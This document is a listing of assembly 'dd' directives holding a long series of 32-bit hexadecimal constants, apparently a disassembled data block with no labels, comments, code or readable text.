dd 0B5AE0449h, 14038AE6h, 4BEA7A04h, 9E837589h, 1293AAF4h
dd 0D73CCEE2h, 0D18E32F4h, 0DE48E3E8h, 9C5DF186h, 0E56195F9h
dd 4A6D2907h, 0E0A185B6h, 104290FEh, 1667C66Ch, 23B684F8h
dd 0FB20F7FFh, 4C5DBEC7h, 1B271B5Dh, 94366872h, 75A19561h
dd 0E06D12DBh, 5C13119h, 1870A88h, 6E9BF558h, 76191CEDh
dd 66DED798h, 0C0643B48h, 7932732Dh, 964979A6h, 7E001FA3h
dd 29058D66h, 4465F401h, 0CF83D755h, 5CF1B095h, 7C120724h
dd 1DE46F6h, 5E731079h, 1A3F3730h, 0A5C73FA9h, 57A4D14h
dd 8EA325C0h, 2C3F0579h, 0A0635D33h, 0F1B702C3h, 348F2A68h
dd 71E0FDh, 8FF1B34Bh, 0ACA04C34h, 0E60FA6CAh, 9D50C112h
dd 84EAE816h, 0D54108D5h, 0B3A18631h, 0D889972Eh, 1D4A7C32h
dd 588B6398h, 60A3C574h, 2DE4FF55h, 550E57EEh, 45D8F1E6h
dd 9E9189E7h, 0E379D516h, 271CA416h, 6C5B5848h, 14AF0589h
dd 0F91B9585h, 0C11A0586h, 22FDFD24h, 8F44AF4Fh, 15610583h
dd 770353E1h, 0DC464A64h, 0E9D2956Dh, 66D2D695h, 3F489951h
dd 0DA297A0Ah, 478DA5E6h, 92EA39A7h, 9CEB7138h, 738873C8h
dd 0C664A8F4h, 0A4AD35FBh, 7EC92DFCh, 7A7F8CE2h, 869090E6h
dd 0EB955D52h, 4507F244h, 760EB3A1h, 7C06D000h, 0FCC55E59h
dd 0B6363638h, 916713DEh, 0C8B8BB8Ch, 0A0E0D27Bh, 7AD81863h
dd 0A7975992h, 0CF604E51h, 56508B6Dh, 50C2BD24h, 0E65C3DDEh
dd 5DA33E20h, 4D0361C6h, 0BBC1683Fh, 5ED27698h, 800CDE6Eh
dd 3B396DF6h, 5F98CFC1h, 9388395Eh, 8EF8D23Bh, 84424E81h
dd 37984A4Dh, 55F4358Bh, 0C70C06D0h, 71034551h, 968E9E08h
dd 33E6C55h, 4A466CA4h, 42785B7Eh, 110BF069h, 515911D8h
dd 9F4CD625h, 0C12FE5AAh, 5F19433Ah, 0AE7632FDh, 9DA49C3Eh
dd 894CA20Eh, 0A648EF0Eh, 28D34068h, 0AC4D328Ah, 681042B6h
dd 4C96B6F5h, 618AFB5Ch, 57128F0Bh, 0A1D51642h, 0A2E6DB75h
dd 41668A1h, 63A7F3C8h, 184E0A76h, 904C5DC8h, 43C14908h
dd 2DB26B64h, 0D56335ECh, 21F1F338h, 0F78EFFACh, 299990DDh
dd 4FDE3DA2h, 14C86811h, 0A130E25h, 6E903D77h, 149E29Ch
dd 6A14918Eh, 795828BAh, 99FD9DE5h, 90B2211Fh, 46074F4Eh
dd 29C8461Ch, 0C8447ACEh, 0D78A7EE8h, 2CD7A15Ah, 864C29Dh
dd 0CE8F1AC6h, 0A16D6B7Dh, 6B4D3324h, 4A954E1h, 0CF33B2DFh
dd 0CAA85AB5h, 0E8316A80h, 0EE367357h, 3F32324h, 2D90A9A9h
dd 5F9CA390h, 6ACF30D9h, 4F82C47h, 0E90D070Fh, 7E1A5E58h
dd 0C073B788h, 0CA4A661Ch, 775CB29Eh, 0CF817A3Bh, 14B8D186h
dd 65E09231h, 1600A600h, 2E71179Ah, 0A6F6D760h, 6C076632h
dd 2A60A1DCh, 5D40FD65h, 61FEBD4Dh, 95F4CA6Fh, 6B2FD59Bh
dd 2F1D2416h, 42C313F8h, 0AC6D2C88h, 18164CE6h, 0B7819A20h
dd 0A5F6F99Eh, 0C06F0107h, 0BEC09DF5h, 37E6387Dh, 0A8E2DC9Fh
dd 909D192Fh, 1AD82E12h, 0B5490735h, 0C89A8505h, 514D949Bh
dd 6B0AD11Bh, 0D870F344h, 0E01CFDB0h, 5CE6ABC6h, 13E97621h
dd 443FA8B1h, 90907430h, 0FEFEE49Ah, 0F31418D9h, 96ECA5A9h
dd 5B82A5Fh, 82E255A2h, 2D445C8Eh, 706C7EC7h, 7F52FFEEh
dd 41AAB52Dh, 6662EABDh, 14F1B59h, 44650C37h, 0CF830755h
dd 4B17C682h, 944123C9h, 752D4E51h, 55EF4865h, 14834662h
dd 1DC53C7Ch, 0FDC526D6h, 1386DE67h, 3B63141Dh, 6474AB1Fh
dd 0F84439B4h, 0B25A3AE0h, 8CAB035Ah, 0C2A136E6h, 73A61B74h
dd 0DD07B094h, 82D115E5h, 0B31F9AD3h, 0F3B0FEF0h, 277EEECEh
dd 260A630Ch, 5109C466h
dd 0FD6CC90Bh, 0F835E10Ah, 455D6A10h, 0AEB30360h, 0B8AE7F99h
dd 9E9BCA6Dh, 0FBC3CCA3h, 0CC5D2395h, 28F240C9h, 3635D609h
dd 7C6DBE71h, 21ECA9F3h, 65308521h, 53F3A05Bh, 553C6CC2h
dd 0E0651530h, 0DA3155D7h, 0CB09E903h, 1A6C5E31h, 0CC72876Dh
dd 0CE09B348h, 2E0818E4h, 0D0C3C326h, 5CB68128h, 68DA190Ch
dd 0B6678443h, 0F4D23D55h, 0A59273ABh, 2726D6CBh, 913B2EFh
dd 0F19185Ah, 0CE93A39Fh, 660D55FEh, 0EF51D90Eh, 927DD19Eh
dd 9F1B61Ch, 27D1FC54h, 27B58559h, 0DF956B8Ah, 0FD5B1A26h
dd 4A391AE3h, 304CEC45h, 200ACE7Ch, 0B9306425h, 83297651h
dd 0E883DF2Dh, 0F805CB9h, 0A1B3D60Dh, 3F351377h, 0FC0C6DC6h
dd 0D0073925h, 0B78CA78Dh, 84443679h, 0B136747Eh, 8D4E3165h
dd 82FC3B49h, 0C5CBCB31h, 1100FA54h, 8034546Ah, 1F7217B5h
dd 7348CB85h, 0CA883494h, 0D88D309Ch, 0DACDC467h, 0B740BB03h
dd 12EAE67Ah, 7EB1A5D6h, 0F73384A4h, 0AF07D708h, 910C430Bh
dd 0AACA2E90h, 0A854AB02h, 0EBF32587h, 53936788h, 239B8D0h
dd 0C819D58Fh, 0E2EAE8A2h, 2BE69AB6h, 0D2B727F5h, 760C5D85h
dd 0D42AF6D1h, 1F3E48B3h, 1E501A9Eh, 815DCC18h, 0AB399E6Eh
dd 51331222h, 25E5C148h, 0A5230C29h, 2ADF0EE4h, 13B1BC4Ah
dd 2D9DED9Ah, 6C09AEE4h, 17A96373h, 50115778h, 475A9BD3h
dd 4CD7D5A6h, 0E484DDE6h, 0F9A90922h, 0E1A05CD9h, 0BD013788h
dd 28965CEBh, 0EF11C2Fh, 4BF79FADh, 788E93A4h, 0F57EF475h
dd 0BAAD2339h, 5F5CEB75h, 50376D24h, 0ABE48BC2h, 581DA3A9h
dd 0B72C935Fh, 0F926A53Fh, 0D8C584F1h, 530F35DEh, 2C66ECADh
dd 0A063434Fh, 0F2AB0CA5h, 0C864DF5h, 784C1E78h, 435A35D0h
dd 2C734CE5h, 0B90B06BEh, 0D4A241CEh, 383FFBD6h, 66A753DBh
dd 0F4469D79h, 83CE2D2Dh, 0F1814A4h, 0EB88B203h, 10073E48h
dd 68F15DEh, 314B096Bh, 78D5B96Eh, 0E3F03AADh, 8BB72F0Ah
dd 0AB43E7E6h, 2834648Dh, 50701209h, 0BFF777E9h, 6FA2AD23h
dd 15536969h, 16F7B605h, 8F3D9875h, 0D771F627h, 0C484228h
dd 0D0D339A3h, 9142064Dh, 4BA7D049h, 2F2148ABh, 0BAA69DC2h
dd 67EE758Fh, 87766B72h, 42BD7696h, 82992370h, 584435CDh
dd 8CBCFF61h, 95BE5BA6h, 0CB190129h, 127314F8h, 0B8B4DC3Bh
dd 22AE8C5Dh, 0A7351AEDh, 12154D8h, 6517B848h, 3C4301DEh
dd 48A3B359h, 0AF03B2BCh, 0FC2D5AE3h, 90309861h, 3FFB35B0h
dd 0F0EC5023h, 0B0E01D8Dh, 163FBEDEh, 0F4B0B6D2h, 0CAACDCE0h
dd 0F0C72544h, 0FAB292D7h, 0E8C0D9ABh, 4D5D004Fh, 1C63B2D5h
dd 5FFF472Ch, 7541A029h, 0A90A0CE3h, 8428D741h, 0DFAEB958h
dd 0D159BEA2h, 0A3008F2Fh, 749D263Fh, 3A71DC8h, 125269B9h
dd 0CDA9E0FCh, 0AD8A0159h, 0E0098885h, 0E8E5E0B9h, 7681134Bh
dd 3977096Eh, 6205B96Eh, 0E8852818h, 39712E26h, 576562FDh
dd 6D7CF17Ah, 606371AEh, 281727C3h, 717F3254h, 0E88CA8EAh
dd 0CFF6EA4Ch, 0C6E53281h, 0AEE8D8BFh, 139AF9B5h, 0E4DB1A34h
dd 1D511A75h, 0D093A89Ah, 2F294992h, 515DBFD7h, 7ABC34FEh
dd 0E30CED86h, 1B1B42FBh, 0DAC00815h, 0D341E8A9h, 51D10840h
dd 70A100D4h, 92E2DC6Ch, 42120836h, 812FE1F7h, 0D71FECB2h
dd 85D6D06Fh, 0B45554E8h, 9BADD739h, 0CBE507DEh, 3E2FB64Dh
dd 6398008Ch, 47F18E81h, 0A2EFDA50h, 0F59BD31Dh, 2A3755F6h
dd 8F4F929Ch, 0EE0B8659h, 82411EABh, 0DE0517Bh, 8130B49Bh
dd 8F4E4138h, 13E8E438h, 4F6E9BC1h, 0A08CEAFEh, 93EDD86Ah
dd 8EF8C838h, 4D8EB7DCh, 1FAEF8Ah, 0F715C044h, 0CB84BDD7h
dd 0EAD76255h, 689D263Fh, 0CD480883h, 597FDAB8h, 0D1785B25h
dd 0A730A388h, 77286D76h, 18E62548h, 0D3C49EDCh, 0DF47DD3Ch
dd 0CED55491h, 145C413Ah, 0C950DFD8h, 99630FE9h, 7AE180F1h
dd 0B8B02475h, 8373A68Ah, 0CE82FAF3h, 0E86C95A1h, 8F5DBCF3h
dd 8093A5D7h, 2BC4427Fh, 0AAA7DA44h, 1701D5FFh, 9134CE3Dh
dd 0D35CE06Dh, 0F42FD01Ch, 0FD49EB6Fh, 0ED147359h, 0D0378180h
dd 3ED304E9h, 577223DCh, 0C9437DB1h, 5425AFF1h, 0A1DCEBAh
dd 0C16E12F3h, 3A7118B8h, 2CC4FAD2h, 0EE7BFA2h, 6264A666h
dd 0ADD02961h, 15D9AF59h, 321686BBh, 0F3DC0F81h, 3450D310h
dd 1E0A87A5h, 90B089DAh, 3632B938h, 0D6300B08h, 0C396127h
dd 143D02Fh, 1E54A755h, 5974A725h, 3B17C876h, 0D8DA8849h
dd 530ED50Eh, 0CB6FE9D2h, 0A09C2CBEh, 0E451855h, 0D112FA33h
dd 8517187h, 0FDB4DD94h, 310F5524h, 421A135Dh, 684C05D4h
dd 929DEBC2h, 94B7C5D8h, 0CDE4815Ch, 5B682D34h, 0D90C4B85h
dd 0BFA4BD95h, 1CA3E5CEh, 426D9DAFh, 2E2D099h, 0A000A4E7h
dd 0B98BDA6Dh, 1042AE95h, 0D11F5BE8h, 0DB8C1A8Eh, 2298BE75h
dd 8479DCD9h, 1AF9C58Eh, 9CAA67ECh, 3C711FF4h, 0D63722CCh
dd 1216C7EDh, 476D7467h, 62A14FBDh, 0F26B05FEh, 0C0B62FCBh
dd 4F417A4Ch, 235DBF73h, 6D14C934h, 231B5B00h, 0C2DB7661h
dd 0DB7C3C53h, 0CD9BA91Ah, 0A736D377h, 1B496323h, 0C9CB5750h
dd 0FB629D2Eh, 4BD40A35h, 0DB7A2323h, 3C69099Bh, 4AD05C7Bh
dd 5D203B4Fh, 5C2ED643h, 856C7359h, 60F89FA3h, 0AF434B66h
dd 0F9EDF0A4h, 0A181E339h, 0A058E279h, 6B2F0756h, 9427212Dh
dd 8F80A520h, 0C06D5AC5h, 0E5C262FCh, 77C13E07h, 0F84C7093h
dd 0C497B94Ch, 0DA1107C6h, 844586C5h, 93757B6Ah, 0F29687Ah
dd 0AA21ACD4h, 9B0FBA4Dh, 0AD032B42h, 6C01E630h, 8879EAAh
dd 5E434B4h, 0F4975DEh, 0E778A388h, 19245307h, 7A4FB6Ch
dd 723AF5CEh, 0D2386740h, 5A712873h, 0AFADB08h, 2702A06Dh
dd 1FF3BFACh, 90A67416h, 27378BFAh, 0AFA4388Ah, 7E900C71h
dd 8D5E3670h, 61C8FC64h, 0D437E01Bh, 3AA73A8Ah, 71BEDC29h
dd 0A89515BFh, 7E1082DFh, 1A535A09h, 0AAB69404h, 0CC2D5517h
dd 0BE4CB75Ah, 0ED15B4D8h, 0D0E6E880h, 72CB781Eh, 5D5BD029h
dd 0A00346B5h, 69D92DB8h, 5EE58428h, 0B3F86736h, 47318C2h
dd 4944EAADh, 0F15886A7h, 0BEF1A5F0h, 0C44D9A10h, 4FBA2339h
dd 0D9DE27EFh, 60F1F62Fh, 5405B2BCh, 1B48182Ch, 7BD29DAh
dd 117BE339h, 0F3ABB023h, 6AEDD18Dh, 0FE9997BAh, 63973730h
dd 49715BA6h, 4D93180h, 4BB790DCh, 3F851066h, 0C40256C0h
dd 40F416DCh, 28BA733Ch, 8D9304C2h, 4BC86B7Bh, 99D559D1h
dd 20B4CFB7h, 0C08689F1h, 831881EFh, 0C9EB71D3h, 95486E5Eh
dd 1CB99179h, 88CA5CAAh, 252E5291h, 0C385FE94h, 9298BB90h
dd 0BB343079h, 19F87657h, 0EE8B1FAh, 761BA26Dh, 0F8A12A5Ch
dd 0C2E1D88Ah, 0FF72A487h, 0A861A6FFh, 945C4149h, 20765832h
dd 9348C61h, 0D43AEE14h, 42389F59h, 0AEFE9FC8h, 239577B0h
dd 0ABD0EDF0h, 6ECDDF77h, 0E4E2170Ch, 0E3A25D09h, 0ACC4D58Dh
dd 2C8C4C5Bh, 0E3A4EB00h, 0DB27E0B7h, 4C6406DAh, 6816451Ah
dd 2F0F9A73h, 1926DFC5h, 0B9C2B2CDh, 4D124FFFh, 3C417CC9h
dd 0F24FA02Ch, 8E20008Ch, 0C5390599h, 25C44EB2h, 0BBCC42E5h
dd 26D79FFh, 46EE45E6h, 279DCD59h, 0FF643424h, 0DC6D0339h
dd 0B07FCFD9h, 0E0C65258h, 158F23D6h, 32DE0228h, 78A12AE6h
dd 0A31BFA7Fh, 4B63AD35h, 5F7A6620h, 0D1977546h, 4F9CD2C6h
dd 7C6AB0A7h, 99540F34h, 0F2BE954Fh, 0BC612A8Fh, 64307513h
dd 1F67CDEBh, 974C0A7Bh, 0F3622ACDh, 939B5009h, 20466DEFh
dd 0C70D5F32h, 0A3A25291h
dd 8855FE94h, 0B06235BDh, 98783D74h, 0C63565EFh, 688EB570h
dd 1A5A9C3Eh, 6142C043h, 3A334053h, 24B00730h, 3034D509h
dd 7DE87C71h, 0B55F4870h, 61D2A909h, 0DC4E181Bh, 29D35262h
dd 0AEB7440Bh, 22B6B854h, 759B9B48h, 1A3B28FCh, 44B50E6Eh
dd 982D402Bh, 45B8C0BBh, 11600AB6h, 0D887D4FAh, 0CEAF585Eh
dd 5D70A39Bh, 12294729h, 85091C73h, 52E5891Ah, 0D11A54CCh
dd 445FD89Bh, 8740F64Eh, 5E5BDDD3h, 0C16D5D10h, 567E82ECh
dd 7534FB78h, 0B0BA3990h, 0B9443097h, 731296FAh, 394BE525h
dd 12644D04h, 0C9B21170h, 2DC88C72h, 55CD2EDFh, 0F1A421B4h
dd 0B59C8097h, 7992D7AAh, 7122F5FEh, 8BB4425Bh, 0B85D0C7h
dd 0C0145966h, 87E21F92h, 7A45874Eh, 0B1360544h, 8D43616Dh
dd 12BED55h, 0C08484D5h, 537AC01Dh, 825C3EE9h, 5EA226D0h
dd 0ACB739A9h, 4A792860h, 0C0BB378Dh, 0C4BCE6Fh, 0AA8B599Bh
dd 3155B227h, 0A8BA002Ah, 0FD4F8FC0h, 90A93C48h, 9E03A23Dh
dd 3DB13A53h, 5067A42Dh, 225C2BCAh, 541300E0h, 7F9AA45Eh
dd 0F63B6370h, 9EB7355Ch, 573BA1F4h, 5532A36Fh, 52EFBDC9h
dd 0BEAD82B0h, 9C5A6AD9h, 4AFB4F6Ch, 0C0804B01h, 739E200Dh
dd 0DBB2E9D7h, 7C81A703h, 5870EA8Dh, 6E1BF2ECh, 0C5EEAB79h
dd 17FB0E25h, 68F8749Ah, 0B0E4F786h, 4325585Ah, 0DFDC95FCh
dd 9CECA69Bh, 6717D547h, 0D6BAFDE1h, 0B2C80C66h, 67F03B76h
dd 4A65176Fh, 5C630B02h, 295EFEA8h, 0D61E1EA5h, 97D92460h
dd 11F4AE81h, 0FED77C86h, 7D80A724h, 11406E7h, 30E392A3h
dd 596EE47Ch, 10E754C0h, 77D86E1Ch, 0EA35620Ah, 0C469B7F7h
dd 0B721431Dh, 844571F6h, 7107A15Fh, 0C6A9577Dh, 1B5E66B9h
dd 8C44785Ah, 0B60F0C9Dh, 0F0E87EB9h, 0B98AAAD3h, 0ED48C723h
dd 3E3061EDh, 85CD263Fh, 103BB84Fh, 8E417175h, 72FABC3Ch
dd 71F49DB0h, 0B837F58h, 1F28CF1Fh, 47C452E9h, 0B5655ACh
dd 58D99B16h, 0C275F8F5h, 1F44C5FFh, 9E93410Ah, 898C998Fh
dd 0DA85056Dh, 0DA5840F4h, 5B40C83Dh, 4F88CA31h, 4764D661h
dd 9C6C8088h, 0AFD6EE9h, 0C10D18D6h, 0D1D1BE32h, 46331516h
dd 0EDB39231h, 9D1BA61Fh, 22248188h, 0EF729026h, 0B816BBECh
dd 34C9CF21h, 1E51F108h, 0A79269C4h, 0EB9041DBh, 8CBB0E5Ah
dd 785214DBh, 83852C9Fh, 0AFD7B4D7h, 2819C417h, 0F8468C5Ch
dd 874AA958h, 5463C113h, 0A92F5E44h, 4D4A0850h, 0EE2F3307h
dd 324C0224h, 1753A920h, 0C61A4012h, 0F430A9A5h, 0B632DB46h
dd 0EDBA8D0Ah, 0D1D4F0B4h, 0EB48E05Ch, 3B953B92h, 0B45EF73Fh
dd 0C7CF2AE4h, 8EEBEE81h, 0C8CC1892h, 0F75EC099h, 0BAECD143h
dd 0DF56F2A4h, 614C5DACh, 0FAE92FBFh, 73E96730h, 9BE481BCh
dd 59682AE4h, 0B48E6755h, 8DB25371h, 0ADD5B6C5h, 9746D126h
dd 0CE778F35h, 1608E103h, 1540CAB3h, 0C467D2D6h, 0E79C74E9h
dd 0BA8DE734h, 0ED30714Eh, 8F7D7E4Eh, 703F0A20h, 0EBD94E61h
dd 2A5FE68Eh, 0DE7DBDF5h, 0D8E70634h, 0A8BFDF42h, 0D9E728EFh
dd 6FC7BCE1h, 0D4C01ADDh, 0A4F087D9h, 56C89353h, 0C2158231h
dd 1CCAD38Ah, 431E0168h, 0AC646BFEh, 27E9651Bh, 0B08C991Dh
dd 38907B66h, 2E862201h, 6E99C6A6h, 84FC707Fh, 0BA972BADh
dd 652160A4h, 0DA489819h, 0E837C3CBh, 0C3F9534Bh, 98A51F5Fh
dd 0C9BFFEA8h, 776F9EA5h, 0FAEB6B2Ah, 0BD583C69h, 0AF148015h
dd 0AB6B32CBh, 39D172D2h, 0E02AC02Ch, 8EBD42C6h, 7C65F03Ah
dd 882F0AA5h, 0EBF6E24Ch, 0C46BE706h, 4FCBEEF5h, 93D245D0h
dd 8EF86EB9h, 884DF5DEh, 95AFFD61h, 5B1B0AA3h, 563EAD59h
dd 1F5D79CDh, 0BBE798B9h, 0FA48C0AAh, 998584BDh, 0C484FAA1h
dd 78BBB8B5h, 6A146B68h, 0A9C31A38h, 76F6BAC6h, 400039Bh
dd 2D1AF424h, 0F1799D62h, 726755B8h, 0CB6D2427h, 6285C70Fh
dd 917ACA62h, 73E88049h, 0A400FF70h, 9DBE2617h, 2DE5DA52h
dd 0D68821E2h, 0DFBD9DF4h, 0BA53C840h, 58D1DCFFh, 0E67A67F5h
dd 0F3C1A258h, 4F60CE64h, 2714C1FFh, 0ED34617Ch, 230C17ECh
dd 0B1A48670h, 0D677C9D6h, 3FE94AEEh, 29362F93h, 451A5B9Ah
dd 566A2221h, 0A2F5D88Ah, 16007615h, 0A51B91DFh, 0D61EA519h
dd 0AA084CC0h, 738C373Ah, 6EE60369h, 719C8FDh, 47CC527Bh
dd 5B2722D8h, 16A30332h, 4CCFFCD1h, 4483C282h, 6C5534AFh
dd 1452C18Bh, 0A0AEB85h, 492556D1h, 173FEFh, 88EF9EF4h
dd 8AA1C283h, 3A4B22BFh, 2A5F5D01h, 83F0AA14h, 8EE39B63h
dd 651678CDh, 0FD5E6AF4h, 0AF30001Ah, 1E527DC2h, 9D1F0FC9h
dd 33A2903Bh, 51970301h, 9DB88680h, 6209A05Bh, 0B5324325h
dd 6BFD1B95h, 0B62EF532h, 84E56799h, 614B83DAh, 5AA2B02Fh
dd 0DB58C487h, 5383EAD7h, 0FDE8942Ah, 0D3E39E32h, 29324EDCh
dd 77981A6h, 913A927Ch, 0D9E95261h, 5640903Ch, 28E4E9CEh
dd 0D82426B6h, 0C690A042h, 0C553C0D5h, 0F3E808D6h, 0F1ED1C26h
dd 0F3250D75h, 51A49529h, 52DADBE6h, 0C7AD6D43h, 588766F1h
dd 817EC348h, 0C816ACB3h, 98F57EF8h, 6FB3D6B1h, 2772D278h
dd 0BE71E68Dh, 89E2F5E2h, 3787DC37h, 188A3F62h, 1EC93A88h
dd 7BF05147h, 21F58EB4h, 76270F40h, 0D4C6D310h, 32D29DA5h
dd 365ADB43h, 0BFDA1CDEh, 707D0B7Dh, 4EC1D2DBh, 74D57EE3h
dd 0F58D42A5h, 4EB8AAC6h, 6592D03Fh, 0EED71ACDh, 0E4181A1Ah
dd 40522FCDh, 0A060A00Eh, 7B859A9Fh, 736C55A0h, 6EA91378h
dd 0CBA078B1h, 9B0BD63Eh, 2EAA7B41h, 2FA3F0C7h, 0ACBE917Ch
dd 0A6B6C005h, 0B4D16C94h, 0AA1DA31Ch, 0E54E76C9h, 72F46B64h
dd 8ED91A24h, 6133E3A1h, 649C7F84h, 51DADB1Bh, 0C6E832E9h
dd 623FFAACh, 64A56427h, 259EFACEh, 728A6C2Eh, 75B20C5Eh
dd 0CA8FAF70h, 9C212385h, 32B45482h, 0C63D6675h, 0C0ECF68Bh
dd 0D2FFAFA8h, 6351C0D8h, 2B230AD9h, 384860C5h, 29AAAEC8h
dd 0C64D7EBAh, 2EB4FA2h, 5CC5ABDBh, 8633D700h, 0EE9B481Dh
dd 4FF1CB90h, 94C9386Eh, 42507AF1h, 0EB6DA864h, 8C19C430h
dd 3A728472h, 22FE8D4Eh, 49F18464h, 5972096Fh, 80F66248h
dd 0E2169638h, 0ACD50F58h, 0A8F5C6F8h, 0BD165E78h, 293CC4A0h
dd 0BCC9A3C6h, 2FD06B4Ch, 1BBBBB1Bh, 3EE0457h, 99A23DDFh
dd 78E52389h, 0FC4F09BFh, 3D27E2DCh, 0FC03781Fh, 0C54A3F42h
dd 69B832E6h, 22DCDA1Ch, 0F48B2067h, 72BEE713h, 92A618C0h
dd 0FB982AB3h, 4D0FFA4Dh, 0D8A7F4BBh, 1A8A4BC5h, 0A5B73F8Ah
dd 0D7AA1174h, 9C765B74h, 0BE66165Eh, 9C0CEED9h, 89360C1Dh
dd 351C662Dh, 702F7B87h, 9A840676h, 2C8C227Ch, 226F2A53h
dd 0EC9A19Bh, 0C43D98F1h, 9F69C50Fh, 74909149h, 4F93F218h
dd 941BCB61h, 85FEE1E0h, 2DBF3D81h, 0CF714CCBh, 57707807h
dd 0B0D5F455h, 1A0C8979h, 0E787DCC1h, 0A95A61B9h, 55AE22FCh
dd 9DE85DA7h, 1CF03FA6h, 235F1908h, 964B9FEh, 0F83957FFh
dd 5909190Eh, 2CE586BBh, 0BDEED5F4h, 645FE6ADh, 0CBEF0297h
dd 87B8D4BDh, 0AA9EA2EAh, 5FECD7EEh, 2698D358h, 1D3503B5h
dd 0E68290CFh, 433C9BE8h, 5E08614Eh, 253992CDh, 3B845AC6h
dd 54C5C6BDh, 6FEC166Eh, 2063222Dh, 3D420420h, 10F53F0Ch
dd 0FB1618E6h, 0A6B4EBBCh, 8EF287AFh, 3A7C2B67h, 0FF700D15h
dd 227BE47Dh, 0F4C58D1Dh, 0F2598504h, 3D5B9457h, 0F8F54E57h
dd 51E7ECB5h, 0A65C0D0Ah, 0B18EF2E3h, 0B8F43E7Ah, 3179E8D7h
dd 0A379FE5h, 0EBF5C65Ch
dd 792FEA81h, 86D9A6DEh, 834FA6A6h, 0FA80A046h, 0BD993493h
dd 0FCD43593h, 94C54D9Fh, 43CF5FDh, 0FA91A0C2h, 44051200h
dd 80363C49h, 0FC40118Fh, 1B9ECC62h, 0AC012B0Fh, 1A22376Fh
dd 0E1564E13h, 0D2814B95h, 63B5D0B7h, 22B70C89h, 45EB61EDh
dd 5B3C544Bh, 51B743F1h, 0C936DAA0h, 531BDA22h, 62DB563Ch
dd 4BEF8D5Ch, 27704117h, 532EF30Bh, 0BFE5898Fh, 0BA75A1DAh
dd 337148DDh, 0C3D4F5D1h, 3267E1E8h, 0D0DC002Dh, 0A0C7BB53h
dd 1171B611h, 0D491FC4Eh, 61AA7528h, 6CEA6908h, 790829CFh
dd 97C2B8A6h, 273AD7BCh, 0CD123E82h, 152211CCh, 0D86BB729h
dd 3C8ACC83h, 5AB10951h, 8DBA8FFh, 0B400E986h, 0D1BF32Bh
dd 1D523CAh, 0B7EE2209h, 8407AD17h, 0F4EDBD1Eh, 72A107A8h
dd 13CC2064h, 2330D754h, 4BE12149h, 2EA2FDDDh, 77637FD4h
dd 832713Bh, 2346B113h, 976A4494h, 2B64D7CEh, 19B3E2B1h
dd 759C0C21h, 7F4501BBh, 561D91Dh, 0E5ABD15Fh, 2DAE4E71h
dd 0CBB4114Ch, 2F445BF8h, 6A62CC00h, 0CB69610Dh, 0BE7CB84Ah
dd 197C5598h, 764142ACh, 863E140Bh, 3AD850DAh, 0C1A7875Ch
dd 0A2711048h, 2D934CF5h, 48EA629Eh, 178B1EB8h, 55151E4Ah
dd 6D903EF5h, 9D5DAB3Eh, 0CF939226h, 0E4473AD5h, 863EA2B1h
dd 9E70A0E8h, 0B18F4AF1h, 0E6780E39h, 0C1AD7D4Bh, 860F0CAh
dd 9A7AEC30h, 0CFF8B65Eh, 0ABA0D4AAh, 10492697h, 7BB00CC4h
dd 0C408FFEFh, 23C1ECEEh, 0EB5DE4C7h, 0E833F78Ch, 0E64B9CA1h
dd 0ACDDC8F7h, 71560414h, 532B16B8h, 4C5463AEh, 8BEB522Ch
dd 5F153ABBh, 2D6F722Dh, 0D89B0A94h, 30296742h, 2369350Bh
dd 0E9165D22h, 9DC17CAEh, 86532F56h, 0BC899851h, 0EDA79212h
dd 0B787B31h, 2A342F48h, 0C819CF4h, 0B15384FBh, 0D3BBC03Bh
dd 30D55A28h, 0EFA84C04h, 0F9A97106h, 564C895Dh, 692AC1E3h
dd 5825458h, 0F385736Dh, 2EFE51CBh, 0E026B051h, 0F48CAFFDh
dd 0FC314E92h, 29DCC86h, 0C0C83825h, 15393193h, 3E544Bh
dd 0EEE18DEDh, 0F8A671FBh, 0F29DE849h, 322D7913h, 5A5060FCh
dd 64760AE9h, 0DDC2A0E1h, 27BAE410h, 89AED50Ch, 19FA8A4Ah
dd 8EC117D8h, 0B2A62CD5h, 0DFDC695Ch, 8FF8B286h, 69D91BE9h
dd 0D519D10Ch, 99F562A0h, 9BE66D9Fh, 4AC5E301h, 2C5AF0BAh
dd 661C8829h, 5F7C624Fh, 5EA1933Bh, 0C391E3BAh, 0C6AC4427h
dd 16C39482h, 3295F5Ah, 0BCBF832Bh, 0DE987B2Ch, 1058C47Ah
dd 0CB130BA7h, 2E22ABF2h, 0D9EB48C4h, 1235D688h, 0C506E6A4h
dd 2E2975E8h, 67589F9Ch, 0AE3C995Ah, 5A7ADDFCh, 8493563Dh
dd 3A8124BCh, 8989D64Eh, 41BE71CCh, 0C1363102h, 1803815Bh
dd 4C696F4Bh, 1C87C2h, 44BEFBB1h, 5623FF44h, 0CB4EF0CFh
dd 252559h, 9B8C9EC1h, 492AA207h, 26ACB8h, 89E426BCh, 0E97FE9BEh
dd 6DD3C0A7h, 1677EFA4h, 62E659BBh, 8941A566h, 0F90C4D6Eh
dd 186D3481h, 4C6A4228h, 0D07E65Eh, 7D88B96Ah, 8C5ECAEBh
dd 0A08C0649h, 29A9F28Ah, 3ADFBC0Fh, 0B6F5F0E8h, 0EF42C39Dh
dd 0FAC1AB58h, 9D00885Ch, 54AA1F02h, 1DB66E0Bh, 0DE93E65Bh
dd 0F32C36D0h, 806E7E72h, 2F549575h, 0FA1F3F56h, 0EB65C16Bh
dd 0E212E03Ch, 0DEC2DB13h, 0D140D72h, 1EA54EC5h, 8BCFC8B1h
dd 0A528096Ah, 9513EAB0h, 0F79672E1h, 809E16BAh, 0E58419A8h
dd 11015D4Ch, 0D949EFECh, 5C393158h, 4133F64Dh, 1A2B5F1Ah
dd 99EF0BD8h, 8DCBFDD1h, 0A0FBE54h, 0DC5B677Dh, 794CC3Dh
dd 54A82E29h, 0F5F35535h, 8A693B8Eh, 456C3F54h, 63D5A589h
dd 0D00E9AA4h, 0A4700199h, 0A6F92063h, 0AE1D9171h, 9627A40h
dd 3A975CDCh, 364BD87h, 750F8526h, 0CE373033h, 1384773Fh
dd 0E2923D6Dh, 281D0121h, 6DFBFEDCh, 3E7EA492h, 68DEB09Eh
dd 0C735DC11h, 5096186Bh, 484C1290h, 0F9912A36h, 0CD3A1F62h
dd 9F70513Ch, 8AD9D9DBh, 7EE970F3h, 626BE4D2h, 7C004FDCh
dd 86402B7Ah, 0F8608227h, 4460EEE6h, 8E7BE9EDh, 0BEBD3DAAh
dd 0B31AF9A6h, 0D2964422h, 99ADFDCBh, 1193230Fh, 248ECF44h
dd 30BC91D0h, 0D6C84A82h, 7673739Ah, 0DCB06062h, 0E799D5FDh
